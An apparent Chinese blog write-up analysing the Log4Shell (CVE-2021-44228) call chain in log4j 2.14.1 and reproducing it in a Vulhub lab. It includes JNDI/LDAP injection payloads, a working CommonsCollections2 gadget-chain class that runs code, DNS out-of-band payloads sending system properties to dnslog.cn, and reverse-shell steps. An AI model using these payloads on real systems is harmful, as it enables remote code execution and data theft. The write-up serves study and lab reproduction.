当前位置: 首页 > news >正文

log4j反序列化-流程分析

分析版本

JDK8u141
依赖

<dependencies><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.14.1</version></dependency></dependencies>

分析流程

官方文档Log4j – Log4j 2 Lookups (apache.org)
直接上payload再去分析

public class log4jTest {public static final Logger LOGGER = LogManager.getLogger(log4jTest.class);public static void main(String[] args) {LOGGER.error("${jndi:ldap://localhost:10389/cn=Exp,dc=example,dc=com}");}
}

log4j漏洞最后是调用了JNDI的lookup方法,之后的就是LDAP和RMI的流程了,所以我们分析lo4j把断点打在InitialContext#lookup处,看调用栈。
调用到MessagePatternConverter#format,对日志内容进行格式化,当日志内容包含${时,会调用到workingBuilder.append(config.getStrSubstitutor().replace(event, value));
在这里插入图片描述

之后调用StrSubstitutor#substitude,将{}之间内容提取出来

String varValue = resolveVariable(event, varName, buf, startPos, endPos); //此处varName已经为jndi:ldap://localhost:10389/cn=Exp,dc=example,dc=com

跟进StrSubstitutor#resolveVariable

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,final int startPos, final int endPos) {final StrLookup resolver = getVariableResolver();if (resolver == null) {return null;}return resolver.lookup(event, variableName);  //跟进
}

Interpolator#lookup

public String lookup(final LogEvent event, String var) {if (var == null) {return null;}final int prefixPos = var.indexOf(PREFIX_SEPARATOR);   //查找:的索引if (prefixPos >= 0) {final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US); //获取jndifinal String name = var.substring(prefixPos + 1); //获取ldap://localhost:10389/cn=Exp,dc=example,dc=comfinal StrLookup lookup = strLookupMap.get(prefix);//下面解释if (lookup instanceof ConfigurationAware) {((ConfigurationAware) lookup).setConfiguration(configuration);}String value = null;if (lookup != null) {value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);//跟进}if (value != null) {return value;}var = var.substring(prefixPos + 1);}if (defaultLookup != null) {return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var); }return null;
}

在这里插入图片描述

很明显看到strLookupMap是个hashMap类,ookup = strLookupMap.get(prefix);调用key为jndi的value,得到JndiLookup跟进。
JndiManager.getDefaultManager()中会get一个JndiManager对象,context属性是InitialContext

//JndiLookup#lookup
public String lookup(final LogEvent event, final String key) {if (key == null) {return null;}final String jndiName = convertJndiName(key);try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {return Objects.toString(jndiManager.lookup(jndiName), null);//调用} catch (final NamingException e) {LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);return null;}
}

跟进JndiManager#lookup

public <T> T lookup(final String name) throws NamingException {return (T) this.context.lookup(name); //上面提到了context是InitialContext,所以调用Context.lookup()
}

之后就是JNDI的流程了
之后我切到JDK8u201版本,添加了CC依赖。进行JNDI的反序列化测试,一样的可以弹计算器,就是需要目标有可利用依赖。

public class JNDILDAPServerBypass {public static void main(String[] args) throws Exception {InitialContext initialContext = new InitialContext();//Reference refObj = new Reference("Test", "Test", "http://localhost:4444/");initialContext.rebind("ldap://localhost:10389/cn=Evil,dc=example,dc=com", getEvilPriorityQueue());}public static PriorityQueue getEvilPriorityQueue() throws Exception {//CC2byte[] code = Files.readAllBytes(Paths.get("G:\\Java反序列化\\class_test\\Test.class"));byte[][] codes = {code};TemplatesImpl templates = new TemplatesImpl();Class templatesClass = templates.getClass();Field name = templatesClass.getDeclaredField("_name");name.setAccessible(true);name.set(templates, "pass");Field bytecodes = templatesClass.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(templates, codes);Field tfactory = templatesClass.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates, new TransformerFactoryImpl());InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", null, null);//chainedTransformer.transform(1);TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); //改为ConstantTransformer,把利用链断掉PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);priorityQueue.add(templates);priorityQueue.add(1);///Class transformingComparatorClass = TransformingComparator.class;  //也可以Class transformingComparatorClass = transformingComparator.getClass();Field transformer = transformingComparatorClass.getDeclaredField("transformer");transformer.setAccessible(true);transformer.set(transformingComparator, invokerTransformer);return priorityQueue;}}

在这里插入图片描述

Vulhub靶场

进入vulhub-master/log4j/CVE-2021-44228拉取镜像
测试一些poc

DNS带外

可以拿到一些系统信息
${java:os} ${sys:java.version} java版本
${env:JAVA_HOME} 系统变量,等如果字符不符合DNS要求是获取不到的
举个例子获取靶机java版本http://192.168.20.130:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.hvu8vg.dnslog.cn}
在这里插入图片描述

在这里插入图片描述

反弹shell

用Yakit,先生成LDAP反弹shell的反连地址,反连主机我填的是kali
在这里插入图片描述

在这里插入图片描述

kali nc开启8888端口监听,拿到靶机shell
在这里插入图片描述

当然拿到的是docker权限
在这里插入图片描述

参考文章:Log4j2的JNDI注入漏洞(CVE-2021-44228)原理分析与思考 - FreeBuf网络安全行业门户

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 单机部署ELK + Filebeat 收集应用日志
  • C++:map容器的使用
  • RangePicker 表单赋值引发的无限更新问题(Maximum update depth exceeded)
  • 【JS】一篇BOM详解笔记 | b站李立超
  • Linux:shell环境bash配置文件讲解(用户登录弹提示语的实现)
  • 算法刷题day28|动态规划:509. 斐波那契数、70. 爬楼梯、746. 使用最小花费爬楼梯
  • 【C语言】指针、多维数组零碎知识点
  • Linux 操作系统速通
  • 蒲公英G5-2250路由器之收集各种硬件的配置页面
  • 初见scikit-learn之基础教程
  • langchain调用讯飞星火大模型3.5和4
  • C++入门 | auto关键字、范围for、指针空值nullptr
  • dynamic-datasource+Mybatis多数据源使用
  • ctfhub Bypass disable_function
  • 论文辅导 | 基于概率密度估计与时序Transformer网络的风功率日前区间预测
  • 〔开发系列〕一次关于小程序开发的深度总结
  • 2017 年终总结 —— 在路上
  • Android路由框架AnnoRouter:使用Java接口来定义路由跳转
  • Babel配置的不完全指南
  • leetcode386. Lexicographical Numbers
  • leetcode46 Permutation 排列组合
  • Python 基础起步 (十) 什么叫函数?
  • Redis在Web项目中的应用与实践
  • Sublime text 3 3103 注册码
  • WePY 在小程序性能调优上做出的探究
  • 湖南卫视:中国白领因网络偷菜成当代最寂寞的人?
  • ------- 计算机网络基础
  • 简单基于spring的redis配置(单机和集群模式)
  • 批量截取pdf文件
  • 删除表内多余的重复数据
  • 适配iPhoneX、iPhoneXs、iPhoneXs Max、iPhoneXr 屏幕尺寸及安全区域
  • 智能合约Solidity教程-事件和日志(一)
  • TPG领衔财团投资轻奢珠宝品牌APM Monaco
  • 京东物流联手山西图灵打造智能供应链,让阅读更有趣 ...
  • 移动端高清、多屏适配方案
  • 直播平台建设千万不要忘记流媒体服务器的存在 ...
  • ### Error querying database. Cause: com.mysql.jdbc.exceptions.jdbc4.CommunicationsException
  • #APPINVENTOR学习记录
  • $nextTick的使用场景介绍
  • (1)(1.8) MSP(MultiWii 串行协议)(4.1 版)
  • (java版)排序算法----【冒泡,选择,插入,希尔,快速排序,归并排序,基数排序】超详细~~
  • (LeetCode C++)盛最多水的容器
  • (八)Docker网络跨主机通讯vxlan和vlan
  • (二)Kafka离线安装 - Zookeeper下载及安装
  • (二)什么是Vite——Vite 和 Webpack 区别(冷启动)
  • (二)学习JVM —— 垃圾回收机制
  • (分布式缓存)Redis持久化
  • (附源码)python房屋租赁管理系统 毕业设计 745613
  • (附源码)spring boot建达集团公司平台 毕业设计 141538
  • (教学思路 C#之类三)方法参数类型(ref、out、parmas)
  • (力扣记录)1448. 统计二叉树中好节点的数目
  • (三) diretfbrc详解
  • (十二)python网络爬虫(理论+实战)——实战:使用BeautfulSoup解析baidu热搜新闻数据
  • (实测可用)(3)Git的使用——RT Thread Stdio添加的软件包,github与gitee冲突造成无法上传文件到gitee
  • *(长期更新)软考网络工程师学习笔记——Section 22 无线局域网